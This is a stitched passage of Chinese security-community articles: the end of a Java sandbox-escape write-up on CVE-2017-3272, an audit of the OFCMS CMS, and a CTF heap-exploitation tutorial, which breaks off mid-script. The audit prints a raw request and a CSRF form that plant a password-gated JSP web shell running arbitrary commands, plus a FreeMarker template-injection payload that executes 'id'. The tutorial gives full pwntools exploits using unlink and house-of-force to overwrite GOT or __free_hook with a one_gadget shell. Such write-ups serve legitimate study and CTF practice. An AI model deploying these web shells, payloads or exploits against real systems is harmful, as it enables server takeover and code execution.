3: AccessController.doPrivileged(this);
4: }
5:
6: public Void run() throws Exception {
7: System.setSecurityManager(null);
8: }
9: }
加载字节码后，它会创建一个具有全部权限的保护域（protection
domain），见第7-12行。最后，它调用h的defineClass()方法，具体见第14-15行。这里的调用是合法的，因为在VM看来，h的类型为
_Help_ 。但是，h的实际类型为 _ClassLoader_
。不过，在类_ClassLoader_中，由于defineClass()被定义为protected方法，因此，所以调用是成功的。至此，安全分析人员已经为自己的类加载了全部的权限。最后一步(第16行)是实例化相应的类，以触发对run()方法的调用，该方法将禁用安全管理器。禁用安全管理器后，安全分析人员可以执行任意Java代码，就好像它拥有所有权限一样。
**\------[ 3.1.2 –示例： CVE-2017-3272**
* * *
前面解释了类型混淆漏洞的概念，以及利用它来禁用安全管理器的方法。下面，我们将提供了一个示例，来演示如何使用CVE-2017-3272漏洞来实现这类攻击。
Redhat公司的bugzilla在文献[14]中提供了有关CVE-2017-3272的技术细节，以下文字就是摘自该文献：
“研究发现，OpenJDK的Libraries组件中的_java.util.concurrent.atomic_包中的原子字段更新器没有正确地限制对protected字段成员的访问。恶意的Java应用程序或applet代码能够利用该漏洞绕过Java沙箱的限制”。
这表明漏洞代码位于_java.util.concurrent.atomic.package_中，这与访问protected字段有关。该页面还提供了OpenJDK的补丁程序“8165344:
Update concurrency support”的链接。这个补丁程序会修改 _AtomicIntegerFieldUpdater_ 、_
_AtomicLongFieldUpdater_和_AtomicReferenceFieldUpdater_类。那么，这些类的作用是什么呢？
为了实现字段的并发修改，Java提供了 _AtomicLong_
、_AtomicInt_和_AtomicBoolean_等类。例如，为了生成一千万个可并发修改的_long_字段，必须实例化一千万个_AtomicLong_对象。由于_AtomicLong_类的单个实例需要24个字节+4个字节=28个字节的内存来引用实例[15]，因此有一千万个_AtomicLong_类的实例，就需要使用267Mib字节内存空间。
相比之下，使用_AtomicLongFieldUpdater_类的话，它只需要10.000.000 * 8 = 76
MiB字节空间。实际上，只有Long类型的字段才会占用大量空间。
此外，由于_Atomic _FieldUpdater_类中的所有方法都是静态的，因此，只会为更新器生成单个实例。使用_Atomic_
FieldUpdater_类的另一个好处是，垃圾收集器不必跟踪一千万个_AtomicLong_对象。但是，这样做的代价是，更新器需要使用Java的不安全功能，通过_sun.misc.Unsafe_类来检索目标字段的内存地址。
关于创建_AtomicReferenceFieldUpdater_实例的过程，具体如下所示。调用方法newUpdater()时，必须提供3个参数：tclass，包含字段的类的类型；vclass，该字段的类型；fieldName，字段的名称。
1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater(
2: Class<U> tclass,
3: Class<W> vclass,
4: String fieldName) {
5: return new AtomicReferenceFieldUpdaterImpl<U,W>
6: (tclass, vclass, fieldName, Reflection.getCallerClass());
7: }
方法newUpdater()调用_AtomicReferenceFieldUpdaterImpl_类的构造函数来完成实际的工作。
1: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,
2: final Class<V> vclass,
3: final String fieldName,
4: final Class<?> caller) {
5: final Field field;
6: final Class<?> fieldClass;
7: final int modifiers;
8: try {
9: field = AccessController.doPrivileged(
10: new PrivilegedExceptionAction<Field>() {
11: public Field run() throws NoSuchFieldException {
12: return tclass.getDeclaredField(fieldName);
13: }
14: });
15: modifiers = field.getModifiers();
16: sun.reflect.misc.ReflectUtil.ensureMemberAccess(
17: caller, tclass, null, modifiers);
18: ClassLoader cl = tclass.getClassLoader();
19: ClassLoader ccl = caller.getClassLoader();
20: if ((ccl != null) && (ccl != cl) &&
21: ((cl == null) || !isAncestor(cl, ccl))) {
22: sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass);
23: }
24: fieldClass = field.getType();
25: } catch (PrivilegedActionException pae) {
26: throw new RuntimeException(pae.getException());
27: } catch (Exception ex) {
28: throw new RuntimeException(ex);
29: }
30:
31: if (vclass != fieldClass)
32: throw new ClassCastException();
33:
34: if (!Modifier.isVolatile(modifiers))
35: throw new IllegalArgumentException("Must be volatile type");
36:
37: this.cclass = (Modifier.isProtected(modifiers) &&
38: caller != tclass) ? caller : null;
39: this.tclass = tclass;
40: if (vclass == Object.class)
41: this.vclass = null;
42: else
43: this.vclass = vclass;
44: offset = unsafe.objectFieldOffset(field);
45: }
构造函数首先通过反射机制来检索要更新的字段，具体见第12行。请注意，即使代码没有任何权限，反射调用也能正常运行。这是因为，该调用是在doPrivileged()内完成的，后者会告诉JVM，即使原始caller有权限要求，也允许执行相应的操作（参见第2.4节）。接下来，如果字段具有protected属性，并且caller类不是tclass类的话，则把caller存储到cclass中（见第37-38行）。请注意，caller是通过调用Reflection.getCallerClass()，使用方法newUpdater()进行设置的。这些代码行（第37-38行）看起来有些奇怪，因为类caller可能与类tclass无关。在下面我们可以看到，这几行代码就是漏洞所在的位置。接下来，构造函数会存储tclass和vclass，并使用类_Unsafe_的引用unsafe来获取字段的偏移量（见第39-44行）。这是一个险招，因为_Unsafe_类非常危险。它能够直接操作Java程序无法操作的内存空间。如果这个类直接或间接地受控于安全分析人员的话，就可以用它来绕过Java沙箱。
一旦安全分析人员引用了_AtomicReferenceFieldUpdater_对象，就可以调用其set()方法来更新字段了，具体如下所示：
1: public final void set(T obj, V newValue) {
2: accessCheck(obj);
3: valueCheck(newValue);
4: U.putObjectVolatile(obj, offset, newValue);
5: }
6:
7: private final void accessCheck(T obj) {
8: if (!cclass.isInstance(obj))
9: throwAccessCheckException(obj);
10: }
11:
12: private final void valueCheck(V v) {
13: if (v != null && !(vclass.isInstance(v)))
14: throwCCE();
15: }
其中，方法set()的第1个参数，即obj，是必须更新引用字段的实例。第2个参数newValue是引用字段的新值。set()方法运行时，首先会检查obj是否为cclass类型的实例（见第2行，以及第7-10行）。然后，set()会检查newValue是否为null或vclass的实例，这个参数表示字段类型（见第3行,以及第12-15行）。如果所有检查都顺利通过，那么，_Unsafe_类就会将新值放到对象obj内指定的偏移处（见第4行）。
该漏洞的补丁代码如下所示。
- this.cclass = (Modifier.isProtected(modifiers))
- ? caller : tclass;
+ this.cclass = (Modifier.isProtected(modifiers)
+ && tclass.isAssignableFrom(caller)
+ && !isSamePackage(tclass, caller))
+ ? caller : tclass;
正如我们前面注意到的那样，原始代码没有对caller对象进行充分的检查。在补丁版本中，会检查tclass是否为caller的超类或超接口。这样的话，这个漏洞的利用方式已经变得很明显了，具体如下所示。
1: class Dummy {
2: protected volatile A f;
3: }
4:
5: class MyClass {
6: protected volatile B g;
7:
8: main() {
9: m = new MyClass();
10: u = newUpdater(Dummy.class, A.class, "f");
11: u.set(m, new A());
12: println(m.g.getClass());
13: }
14: }
首先，类_Dummy_被用于调用方法newUpdater()，该类定义了一个字段f，其类型为 _A_
（见第1-3、9、10行）。然后，调用了更新器实例（第11行）的方法set()，并为该方法提供了两个参数：类 _MyClass_
，以及字段f的新值newVal，注意，这个字段的类型为 _A_
。需要注意的是，类_MyClass_中定义的字段为_B_类型的g，而不是_A_类型的f。因此，调用set()之后，字段g的实际类型为 _A_
，但虚拟机仍认为其类型为 _B_ 。所以，当调用println()方法时，将输出“class A”，而不是“class
B”（见第12行）。但是，对于类_A_的这个实例的访问，是通过类_B_的方法和字段完成的。
**\------[ 3.1.3 – 讨论**
* * *
如上所述，Java
1.5中已经引入了_Atomic*FieldUpdater_类。但是，该漏洞直到1.8_112版本发行时才被检测到，并在下一个版本，即1.8_121中就得到了修复。通过在1.6_到1.8_112版本中进行二分查找，我们发现该漏洞首先出现在1.8_92版本中。进一步的测试表明，期间的所有版本都容易受到该漏洞的攻击，包括:1.8_101、1.8_102和1.8_111。我们还针对Java
1.5的第一个和最后一个版本进行了相应的PoC测试，结果表明，它们都不会受到该漏洞的影响。
通过比较_AtomicReferenceFieldUpdater_类在1.8_91 (无漏洞)和1.8_92
(有漏洞)版本之间的差异，代码重构操作未能对输入值进行语义层面的全面检查。其中，它在1.8_91版本中的非脆弱代码如下所示。
1: private void ensureProtectedAccess(T obj) {
2: if (cclass.isInstance(obj)) {
3: return;
4: }
5: throw new RuntimeException(...
6: }
7:
8: void updateCheck(T obj, V update) {
9: if (!tclass.isInstance(obj) ||
10: (update != null && vclass != null
11: && !vclass.isInstance(update)))
12: throw new ClassCastException();
13: if (cclass != null)
14: ensureProtectedAccess(obj);
15: }
16:
17: public void set(T obj, V newValue) {
18: if (obj == null ||
19: obj.getClass() != tclass ||
20: cclass != null ||
21: (newValue != null
22: && vclass != null
23: && vclass != newValue.getClass()))
24: updateCheck(obj, newValue);
25: unsafe.putObjectVolatile(obj, offset, newValue);
26: }
在不容易受到攻击版本中，如果obj的类型不同于tclass（包含要更新的字段的类的类型）的话，则可能需要满足两个条件。第一个条件是obj可以转换为tclass（见第9、12行）。对于第二个条件来说，只有当该字段的访问权限为protected时才会进行检测，即obj可以转换为cclass（见第14、16行）。
但是，在易受攻击的版本中，唯一的条件就是obj可以转换为cclass。而obj可以转换为tclass的条件被忽略了。
实际上，缺失一个条件就足以引发一个安全漏洞，如果利用得当的话，将导致完全绕过Java沙箱。
类型混淆漏洞可以预防吗？ 在Java中，出于性能考虑，每次使用对象o时，都不会对其类型_T_展开检查。
如果在每次使用对象时都进行类型检查的话，虽然可以防止类型混淆攻击，但同时也会增加运行时开销。
**小结**
* * *
在本文中，我们为读者详细介绍了基于类型混淆漏洞的沙箱逃逸技术。在下一篇文章中，我们将继续为读者带来更多精彩的内容，请读者耐心等待。 | 社区文章 |
最近打算审一审web项目,毕竟复现一些java的经典漏洞和审计java web还是有些区别的,这次审计的项目地址:
`https://gitee.com/oufu/ofcms`
审计时可以IDEA可以装上`FindBugs`
还是有一些帮助的。
##### 后台任意文件上传
漏洞路径`/ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java`
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
这里可以看到没有任何限制,直接写入jsp代码。
POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 548
Connection: close
Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res
Cookie: JSESSIONID=D995760A2B3C721A91018D1729162B00
file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
为什么要写到static目录下呢,看这里
/**
* 请求后缀名处理
*
* @author OF
* @date 2017年11月24日
*/
public class ActionHandler extends Handler {
private String[] suffix = { ".html", ".jsp", ".json" };
public static final String exclusions = "static/";
// private String baseApi = "api";
public ActionHandler(String[] suffix) {
super();
this.suffix = suffix;
}
public ActionHandler() {
super();
}
@Override
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, boolean[] isHandled) {
/**
* 不包括 suffix 、以及api 地址的直接返回
*/
/*
* if (!isSuffix(target) && !"/".equals(target) &&
* !target.contains(baseApi)) { return; }
*/
//过虑静态文件
if(target.contains(exclusions)){
return;
}
target = isDisableAccess(target);
BaseController.setRequestParams();
// RequestSupport.setLocalRequest(request);
// RequestSupport.setRequestParams();
//JFinal.me().getAction(target,null);
next.handle(target, request, response, isHandled);
}
private String isDisableAccess(String target) {
for (int i = 0; i < suffix.length; i++) {
String suffi = getSuffix(target);
if (suffi.contains(suffix[i])) {
return target.replace(suffi, "");
}
}
return target;
}
/*
* private boolean isSuffix(String target) { for (int i = 0; i <
* suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))
* { return true; } } return false; }
*/
public static String getSuffix(String fileName) {
if (fileName != null && fileName.contains(".")) {
return fileName.substring(fileName.lastIndexOf("."));
}
return "";
}
}
可以看到这里将`jsp、html、json`的后缀都为空了,但是如果是`/static`目录就直接`return`了,那么把shell写到这个目录下即可。
##### CSRF打助攻
显然没有token做限制,当然也没有其他限制csrf咯
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST">
<input type="hidden" name="file_path" value="" />
<input type="hidden" name="dirs" value="/" />
<input type="hidden" name="res_path" value="res" />
<input type="hidden" name="file_name" value="../../upload/shell2.jsp" />
<input type="hidden" name="file_content" value="<%     if("p0desta".equals(request.getParameter("pwd"))){         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();         int a = -1;         byte[] b = new byte[2048];         out.print("<pre>");         while((a=in.read(b))!=-1){             out.println(new String(b));         }         out.print("</pre>");     } %>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
##### 后台任意文件上传漏洞(鸡肋)
@Clear
public void upload() {
try {
UploadFile file = this.getFile("file", "image");
file.getFile().createNewFile();
Map<String, Object> data = new HashMap<String, Object>();
data.put("filePath", "/upload/image/" + file.getFileName());
data.put("fileName", file.getFileName());
rendSuccessJson(data);
} catch (Exception e) {
rendFailedJson(ErrorCode.get("9999"));
}
}
在`file.getFile().createNewFile();`,可以跟到
private boolean isSafeFile(UploadFile uploadFile) {
String fileName = uploadFile.getFileName().trim().toLowerCase();
if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {
return true;
} else {
uploadFile.getFile().delete();
return false;
}
}
限制了是否以指定后缀结束,但是这里可以利用windows的特性来绕过
但是我说这个洞为什么鸡肋呢,因为没办法跨目录上传,上传到image目录下是利用不了的,原因我上面说了,所以说它鸡肋。
##### 服务端模板注入
通过看配置文件我们可以知道是使用了模板引擎`FreeMarker`,这个应该是java中比较经典的模板注入了,来看文章`http://drops.xmd5.com/static/drops/tips-8292.html`
使用payload
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") } | 社区文章 |
这是我开始学习堆不久后对于一些知识点和CTF题型的总结，希望能帮助到更多的初学者入门二进制安全，大家可以一起打PWN交流，题目和exp我放在附件，下面直接进入正题：
### 一、源码介绍：
#### 当需要合并相邻的freechunk时用到unlink：
1、向后合并：
#!c
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体，bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针，指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
//相关函数说明：
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是：将P所指向的chunk从双向链表中移除，这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
...
}
画个图举例说明：
当chunk2free完了，发现上一个块chunk1也是free状态的，就抱大腿合并起来，指挥权交给chunk1，指向chunk2的ptr指针现在指向chunk1，size也变为size+presize：也就是这样：
接着因为使用完了会进行分箱式管理，因此这个新的free的chunk1不会很快回到操作系统，于是需要从所在的free的chunk链中进行unlink（有fd指针和bk指针）再放到unsorted
bin中保存。
2、向前合并（）：
#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
/* consolidate forward */
if (!nextinuse) { //next chunk为free chunk
unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了，这就是向前合并！
} else
clear_inuse_bit_at_offset(nextchunk, 0);
……
}
同样用图来解释：
当chunk1free完了，发现相邻的chunk2也是free的，会先进行unlink(让chunk2先脱链，有fd和bk指针)，然后再进行合并：size
= size+nextsize，ptr指向不变，还是自己：
以上就是两种合并free的chunk的方式，合并过程中用到unlink函数，在free的链表中把chunk块脱下来，然后可以把新的free的chunk块放到bins中管理~
### 二、保护机制探索
目前集成的对于unlink的保护机制主要就是下面这个：
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
这个保护学过了数据结构都懂得，也就是要满足p-->fd-->bk = p-->bk-->fd = p，很好理解，但是要怎么绕过呢？
利用一个很巧妙的数学等式，完美搞定：下面的例子演示的是64位的例子（一个字节8位），取一个全局变量ptr（指针地址，一般为chunk块的指针地址，存放于bss段中）
令p-->fd = ptr - 24，p-->bk = ptr - 16 ，为什么这么构造，待会就知道了，我们知道空闲块的布局是这样的：
当我们构造好了后，得到FD = p-->fd = ptr - 24，BK = p-->bk = ptr - 16，那么FD-->bk = FD + 3*8
= ptr - 24 + 24 = ptr，同理可得BK-->fd = BK + 16 = ptr - 16 + 16 = ptr,也就是说FD-->bk
= BK-->fd = ptr，从而成功绕过了检测机制，那么unlink执行了~我们知道执行是这样的：
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD;
根据上面的精心构造，我们可以得到FD-->bk = BK 相当于ptr = ptr - 16，BK->fd = FD相当于 ptr = ptr -24，unlink执行完了后，我们得到最终的结果就是ptr = ptr -24
，也就是说ptr指向了ptr-24的地址处。那么如果我们往ptr写入内容为‘a’*24+free(got)，那么就可以实现在ptr处写入free的got表，如果再往ptr写入onegadget，那么就是我往free的got表写入onegadget从而getshell~
纸上学终觉浅，绝知此事要躬行：上题目
### LAB11:bamboobox
开了堆栈不可执行和栈溢出保护，问题不大：
ida分析一波
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
(*v3)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
show_item(&buf, &buf);
break;
case 2:
add_item(&buf, &buf);
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
(v3[1])(&buf, &buf);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}
熟悉的菜单题：把功能都看一遍
接着我们把函数提取出来：
def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)
认真分析会发现chunk块的结构如下:
struct chunk{
int size；
char a[size];
}
进一步分析可以知道，存在堆溢出的漏洞，造成堆块的重叠，这里就是说change时会把新的内容输进去，从而覆盖原来的内容达到溢出的目的，但是一开始题目会生成一个chunk（0x10），我们知道这是用于输出最开始和结束的字符串，有地址，程序有magic地址：
这题的思路就是unlink，因为有堆溢出的漏洞，所以可以改写相邻的chunk的状态，使得它在free时会触发unlink，实现我们的攻击目的：
利用思路：在chunk1中构造fake_chunk，然后溢出改chunk2的presize和size，这样就可以free掉chunk1了，同时可以触发unlink，使得我们的ptr指针指向ptr-3的位置，输入时输入‘a’*24+atoi_got，就可以实现ptr指向got表，接着可打印出真实地址，又可以改写got为onagadget。
上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)
magic = 0x400d49
atoi_got = elf.got["atoi"]
#bk(0x0000000000400ADD)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')
FD = 0x6020c8 - 3*8
BK = FD + 8
py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK) #0x20
py1 += "a"*0x60
py1 += p64(0x80) + p64(0x90) #0x10
change(0,0x90,py1)
free(1)
py2 = ''
py2 += 'a'*24 + p64(atoi_got)
change(0,len(py2),py2)
puts()
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
change(0,0x10,p64(onegadget))
exit()
p.interactive()
下面进入gdb动态调试一波，看下具体是怎么实现的：
首先是malloc两个0x80大小的块（实际会是0x90，超过了fastbin的范围），就可以实现unlink，双向链表才有这个操作，fastbin单向链表所以是没有的unlink的攻击的。
可以看到3个chunk，1号chunk是存字符串的，2和3号chunk是我们申请的chunk块。
接着我们构造出fake_chunk:
在free掉chunk3前，我们先看看我们的ptr = 0x6020c8在内存中的布局：
看到它指向的正是0xf4d030，也就是我们的chunk2的string的堆块地址，接着我们free掉chunk3，可以得到：
ptr指向我们的ptr-24的位置（0x6020b0），接着看下我们的堆块
可以看到由于只有一个free块又与topchunk相邻，所以会和topchunk结合。大小变成0x20fd1，如果申请了3个chunk就会放到unsorted
bin 中。
接着我们改写0x6020c8的位置为atoi的got表：
这里前面有3个位置直接填充字符，看到0x6020c8的位置被我们成功写成了atoi的got表，接着再写一次就是往got写onegadget了：
可以看到成功写入了onegadget，当再次选择时，调用atoi函数就是调用了onegadget，那么就可以gethell了~
这题如果不用unlink去做，就是用house of
force，也就是一开始我想的，怎么修改程序自己生成的那个chunk，因为里面有地址，想要修改地址里面的内容为我们的magic，这样就可以实现catflag了，直接上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)
magic = 0x400d49
bk(0x0000000000400ADD)
malloc(0x60,'aaaa')
py1 = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
change(0,0x70,py1)
malloc(-160,'bbbb')
malloc(0x20, p64(magic)*2)
p.interactive()
那么问题来了，如果没有这个堆溢出漏洞可以去构造出fake_chunk时，或者说malloc的大小固定时我们应该怎么办呢？这里介绍第二种方式：堆块的错位重叠（同样也是堆块里面创造堆块），这里要用到堆地址才能实现，所以得有puts函数打印出堆块上面的信息。
#### 看下网鼎杯的babyheap：
这里看到出了canary，其他的保护几乎全开，got表不可改？真的吗？错，__free_hook还是可以改写的，这是个知识点，要记牢固！
下面进行分析：
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_400882();
puts("I thought this is really baby.What about u?");
puts("Loading.....");
sleep(5u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_4008E3();
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v3 = atoi(&s);
if ( v3 != 2 )
break;
sub_400A79();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
sub_4009A0();
}
if ( v3 == 3 )
{
sub_400C01();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(0);
sub_400B54();
}
}
}
可以看到是常规的菜单题，然后提取出各个函数：
def malloc(index,Content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
def free(Index):
ru("Choice:")
sl('4')
ru("Index:")
sl(str(Index))
def puts(Index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(Index))
def exit():
ru("Choice:")
sl('5')
def edit(index,Content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
这里需要注意几点，首先只能申请10个堆块，然后只能编辑3次，那么问题来了，该怎么做呢？
第一步先泄露出堆的基地址：
malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)
free完了，我们在bins中得到了2个chunk块。这里free的顺序需要特别注意，因为第一个申请的一般低位是0会有截断，我试过，泄露不出地址。所以先free掉chunk1再free掉chunk0，这样chunk0指向chunk1，得到chunk1的地址，进一步得到堆块的基地址。
拿到了堆块的基地址，可以构造fakechunk了，这里我们用堆块错位法，编辑下：
在chunk0的fd位置填写0x113d020，bk填写0，然后data那里填写0和0x31，那么fd指向chunk0自身的0x113d020位置处，bins中也可见：
接着我们申请新的块就会造成堆块的重叠错位，要知道0x113d030处正好有我们的chunk1的大小0x30，如果我们成功控制了0x113d020的堆块，就可以下溢修改chunk1的大小了，改成大于fastbins的chunk，使得后面free时可以得到main_arena的地址，说干就干。
成功了，看到chunk1的大小变成了0xa0，而且转态是free的，但是我们得继续申请才有这么多的空间（实际上还是0x20的大小），我们接着申请2个垃圾堆块（0x60，纯属为了free时给空间）,再申请一个chunk4，chunk4的presize和size还是属于我们的fake_chunk的。0x30+0x60+0x10
= 0xa0，刚好，下面我们对chunk4进行精心的构造，造出第二个fake_chunk来，好实现unlink操作~
0x113d0d0那里有0和0x30，gdb没有显示而已，是我们的fake_chunk的presize和size，然后全局变量我们选取的是chunk1的地址指针（0x602068）+24的位置即0x602080（chunk4的指针地址），fd和bk就构造出来了：
FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)
最终unlink出来，0x602080指向0x602068的位置，也就是说chunk4指向chunk1，那么编辑chunk4，就会往chunk1写入free_hook真实地址，接着再编辑chunk1一次，往free_hook地址上写入onegadget即可getshell~
这是unlink后的chunk块，可以发现是向前合并的类型，0xa0+0x30=0xd0，同时放入了unsortedbin中，那么我们直接可以打印出main_arena的地址，从而得到基地址和onegadget，接着编辑即可，上完整的exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./babyheap')
if local:
p = process('./babyheap')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(index,Content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
def free(Index):
ru("Choice:")
sl('4')
